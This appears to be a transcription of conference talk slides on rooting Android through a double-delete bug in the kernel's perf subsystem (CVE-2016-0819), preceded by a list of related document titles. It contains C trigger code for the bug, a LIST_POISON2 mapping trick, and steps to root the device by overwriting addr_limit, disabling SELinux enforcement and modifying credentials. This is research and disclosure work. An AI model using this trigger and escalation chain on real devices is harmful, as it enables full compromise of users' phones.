Perf: From Profiling to Kernel Mobile Threat Response Team

Similar documents
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel. Di Shen a.k.a. Retme Keen Lab of Tencent

Trinity A Linux kernel fuzz tester.

Fault Injection in System Calls

Linux Security Summit Europe 2018

KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features. WANG, YONG a.k.a. Pandora Lab of Ali Security

QUADROOTER NEW VULNERABILITIES AFFECTING OVER 900 MILLION ANDROID DEVICES. by the Check Point Research Team

Contiguous memory allocation in Linux user-space

From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel

RAS and Memory Error Reporting with perf. Robert Richter 2nd CERN Advanced Performance Tuning workshop November 21, 2013

perf fuzzer: Exposing Kernel Bugs by Detailed Fuzzing of a Specific System Call

DR. CHECKER. A Soundy Analysis for Linux Kernel Drivers. University of California, Santa Barbara. USENIX Security seclab

File Systems: Consistency Issues

An Infestation of Dragons

Landlock LSM: toward unprivileged sandboxing

Unleashing D* on Android Kernel Drivers. Aravind Machiry

Secure Containers with EPT Isolation

For Android user: Android. How to establish the connection between Android phone and R6 / Q-77HR? Ans:

Princeton University Computer Science 217: Introduction to Programming Systems. Dynamic Memory Management

First order of Business

Android Kernel Security

Introduction to Linux, for Embedded Engineers Tutorial on Virtual Memory. Feb. 22, 2007 Tetsuyuki Kobayashi Aplix Corporation. [translated by ikoma]

File access-control per container with Landlock

Perf with the Linux Kernel. Copyright Kevin Dankwardt

13th ANNUAL WORKSHOP 2017 VERBS KERNEL ABI. Liran Liss, Matan Barak. Mellanox Technologies LTD. [March 27th, 2017 ]

Devil is in the Details: Revealing How Linux Kernel put_user at Risk. Edward Lo and Chiachih Wu C0RE Team

Frp bypass in samsung!

Operating System Support Plan for Test Delivery System

QSEE TrustZone Kernel Integer Overflow Vulnerability

Princeton University. Computer Science 217: Introduction to Programming Systems. Dynamic Memory Management

Operating System Labs. Yuanbin Wu

Get Started with the INCENTER Application

Identifying Memory Corruption Bugs with Compiler Instrumentations. 이병영 ( 조지아공과대학교

Lab 09 - Virtual Memory

Linux Kernel Futex Fun: Exploiting CVE Dougall Johnson

The Case for Security Enhanced (SE) Android. Stephen Smalley Trusted Systems Research National Security Agency

lpengfei Ding & Chenfu Bao lsecurity Researcher & Baidu X-Lab lfocused on Mobile, IoT and Linux kernel security

MediaTek Log Filtering Driver Information Disclosure

Mirror Mirror: Rooting Android 8 with a Kernel Space Mirroring Attack

UniSan: Proactive Kernel Memory Initialization to Eliminate Data Leakages

Avira Antivirus Security (Version 3.1 SP1) Changelogs. Avira Antivirus Security Version 3.1 SP1 (Status Feb. 11, 2014) 1

Project 2 Overview: Part A: User space memory allocation

Digital Test. Coverage Index

BINDER THE ANDROID IPC FRAMEWORK. Antoine 'xdbob' Damhet. July 15, 2016

An Infestation of Dragons

Hassle-free trade up from the comfort of home. Popular Models LG G6 $250

PROJECT 2 - MEMORY ALLOCATOR Computer Systems Principles. October 1, 2010

Software Vulnerabilities. Jeff Foster University of Maryland, College Park

executable-only-memory-switch (XOM-Switch)

Virtual Memory: Systems

Scaling CQUAL to millions of lines of code and millions of users p.1

Memory Mapped I/O. Michael Jantz. Prasad Kulkarni. EECS 678 Memory Mapped I/O Lab 1

MOBILE TESTING REFERENCE GUIDE

Cut Power Consumption by 5x Without Losing Performance

Practical and Efficient Exploit Mitigation for Embedded Devices

Linux Foundation Collaboration Summit 2010

Process Address Spaces and Binary Formats

Verizon Samsung Galaxy S3 Update Fix 4.3 Uk

Operating System Support Plan for Test Delivery System

ACTRONCONNECT Wireless control of your air conditioner at your fingertips.

System Calls and Signals: Communication with the OS. System Call. strace./hello. Kernel. Context Switch

Charm: Facilitating Dynamic Analysis of Device Drivers of Mobile Systems

Enhancing PAPI with Low-Overhead rdpmc Reads

CS 322 Operating Systems Programming Assignment 4 Writing a memory manager Due: November 16, 11:30 PM

API 퍼징을통한취약점탐지 카이스트 차상길

Final Step #7. Memory mapping For Sunday 15/05 23h59

Operating System Support Plan for Test Delivery System

Dell User Guide Pdf Samsung Galaxy S2 Lte

NFC Equipped Smartphones

Operating systems. Lecture 9

ECEN 449 Microprocessor System Design. Review of C Programming. Texas A&M University

Challenge Impossible. -- Multiple Exploit On Android. Hanxiang Wen, Xiaodong Wang. C0RE Team

Methods to protect proprietary components in device drivers

RALPH BÖHME, SERNET, SAMBA TEAM UNDERSTANDING AND IMPROVING SAMBA FILESERVER PERFORMANCE HOW I FELL IN LOVE WITH SYSTEMTAP AND PERF

Pc Use Manual Pdf Samsung Galaxy S2 Plus Gti9105

CSCE 548 Building Secure Software Dirty COW Race Condition Attack

Security Enhancements (SE) for Android on Freescale ARM i.mx6 platform

System Calls & Signals. CS449 Spring 2016

Linux Kernel Exploitation. Where no user has gone before

Manual Root Android Galaxy S2 Sprint

Overview. Wait, which firmware? Threats Update methods request_firmware() hooking Regression testing Future work

CS 322 Operating Systems Programming Assignment 4 Writing a memory manager Due: April 5, 11:30 PM

CSE506: Operating Systems CSE 506: Operating Systems

Based on all adults [n=1907]

kguard++: Improving the Performance of kguard with Low-latency Code Inflation

Linux Kernel Evolution. OpenAFS. Marc Dionne Edinburgh

Applications of. Virtual Memory in. OS Design

INFLUENTIAL OPERATING SYSTEM RESEARCH: SECURITY MECHANISMS AND HOW TO USE THEM CARSTEN WEINHOLD

Module: Operating System Security. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

CSE506: Operating Systems CSE 506: Operating Systems

The android vulnerability discovery in SoC. Yu Pan and Yang Dai

Linux Kernel Modules & Device Drivers April 9, 2012

Pilot Walktour Pack Release Note V3.6

A Heap of Trouble Exploiting the Linux Kernel SLOB Allocator

Any phone. Anywhere. Transcend Your Reality. Activation Code

Kprobes Presentation Overview

ECEN 449 Microprocessor System Design. Review of C Programming

Introduction to Operating Systems (Part III)

THE NEW LANDSCAPE OF AIRBORNE CYBERATTACKS

Using Sensitive Information on Android Based Smartphone. Romke van Dijk

Contents Revox Joy S232 App D 1.0 1

Transcription:

Perf: From Profiling to Kernel Exploiting @Wish_Wu Mobile Threat Response Team

0 The Perf Performance counters: = hardware features (CPU/PMU, Performance Monitoring Unit) + software features (software counters, tracepoints). Running cmd man perf_event_open will show 1233 lines of descriptions. Userspace command Userspace tool source code Related syscall Kernel Source Code perf tool/perf perf_event_open ioctl mmap prctl close kernel/events/* arch/<arch>/kernel/*

0 The Perf in Android Syscall perf_event_open is enabled on most of the latest smart phones. There is no strong relationship between the Android version and the customized Android Linux version. Vendors can also customize their linux kernel and SElinux policy. Most Android versions from 4.4.4 to 6.0.1 have enabled this syscall. An application which has no permission required can invoke this syscall. Many CPU vendors would like to add their PMU to Linux for specific performance testing. These codes will not be merged into the mainline of Linux. So these codes may not be totally reviewed.

0 The Perf in Android Kernel Perf Subsystem Architecture Specific Vendor Specific Bug

0 The Perf in Android How to detect bugs 1. perf_fuzzer (Vincent M. Weaver and Dave Jones) http://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/2015_ perf_fuzzer_tr.pdf https://github.com/deater/perf_event_tests 2. Trinity https://github.com/kernelslacker/trinity 3. Code Review 4. Tools written by myself

0 The Perf in Android Published Bugs http://source.android.com/security/bulletin/2016-02-01.html http://source.android.com/security/bulletin/2016-03-01.html http://source.android.com/security/bulletin/2016-04-02.html CVE Bug Severity Updated versions Date reported CVE-2016-0805 ANDROID-25773204* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Nov 15, 2015 CVE-2016-0819 ANDROID-25364034* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Oct 29, 2015 CVE-2016-0843 ANDROID-25801197* Critical 4.4.4, 5.0, 5.1.1, 6.0, 6.0.1 Nov 19, 2015 Unpublished Bugs Bug Severity issue AndroidID-26112842 Low https://code.google.com/p/android/issues/detail?id=196588 AndroidID-28086229 Critical https://code.google.com/p/android/issues/detail?id=206153

1 The Bug CVE-2016-0819 Possibly effected and not limited to: Samsung GALAXY Note Edge Samsung GALAXY Note 4 Samsung GALAXY A9 Samsung GALAXY A8 Samsung GALAXY A7 Samsung GALAXY A5 Samsung GALAXY On7 Samsung GALAXY J7 Sony Xperia Z5 Sony Xperia Z4 Sony Xperia Z3 Sony Xperia E3 LG G5 LG G4 LG G4c LG Nexus 5X Samsung GALAXY J5 Motorola Nexus 6 Samsung GALAXY J3 Huawei Nexus 6P

1 The Bug file: kernel/events/core.c 3105 static int perf_release(struct inode *inode, struct file *file) 3106 { 3107 struct perf_event *event = file->private_data; 3108 3109 /* 3110 * Event can be in state OFF because of a constraint check. 3111 * Change to ACTIVE so that it gets cleaned up correctly. 3112 */ 3113 if ((event->state == PERF_EVENT_STATE_OFF) && 3114 event->attr.constraint_duplicate) 3115 event->state = PERF_EVENT_STATE_ACTIVE; 3116 3117 put_event(file->private_data); 3118 return 0; 3119 }

1 The Bug file: kernel/events/core.c 1199 if (event->state!= PERF_EVENT_STATE_ACTIVE) 1200 return; 1201 1202 event->state = PERF_EVENT_STATE_INACTIVE; 1203 if (event->pending_disable) { 1204 event->pending_disable = 0; 1205 event->state = PERF_EVENT_STATE_OFF; 1206 } 1207 event->tstamp_stopped = tstamp; 1208 event->pmu->del(event, 0); 1209 event->oncpu = -1;

1 The Bug Test Case Code: struct perf_event_attr attr; memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_TRACEPOINT; attr.size = sizeof(attr); attr.config = value //read from /sys/kernel/debug/tracing/events/* u64 *ptr = &attr.config; ptr++; *ptr = 1 << 23; //set constraint_duplicate to 1 int fd = perf_event_open(&attr, 0, -1,-1, 0); //use ioctl() to delete perf_event from list first time ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); //use close() to delete perf_event from list second time, and free it close(fd);

1 The Bug 1. The bug can double delete a hlist node. 2. For list in kernel, delete!= free. 3. A deleted node can be added to hlist again. 4. Nodes can only be added into hlist head, but can be deleted from anywhere.

2 Double delete //A hlist node is defined as below: struct hlist_node { struct hlist_node *next; struct hlist_node **pprev; }; //A hlist head is defined as below: struct hlist_head { struct hlist_node *first; }; Head Node Node Node first next next next pprev pprev pprev

2 Double delete LIST_POISON2 == 0x00200200 in 32-bit Android. mmap((void *)0x200200, 0x1000, PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANONYMOUS MAP_POPULATE, -1, 0); mlock((void *)0x200200, 0x1000); GOOGLE: LIST_POISON2 to 0x00000200

2 Double delete ioctl Node20 close Node20 close Node30 Leak Node30's address to userspace!!!! Node10 Node20 Node30 Node40 next next next next pprev pprev pprev pprev 0x200200 next pprev Node10 s next pointer points to free space Use After Free!!!!!!

2 Double delete Simple?? NO!!!!!

2 Double delete

3 Ret2dir Tech Vasileios P. Kemerlis. Michalis Polychronakis. Angelos D. Keromytis http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf

3 Ret2dir Tech This node will be reused. I put data here.

4 Get Root GeekBen's TowelRoot Source Code: https://github.com/geekben/towelroot/blob/master/towelroot.c 1.addr_limit = 0xffffffff 2.selinux_enforcing = 0 to bypass SELinux 3. modify struct cred and selinux security object.

4 Get Root Demo

Thank You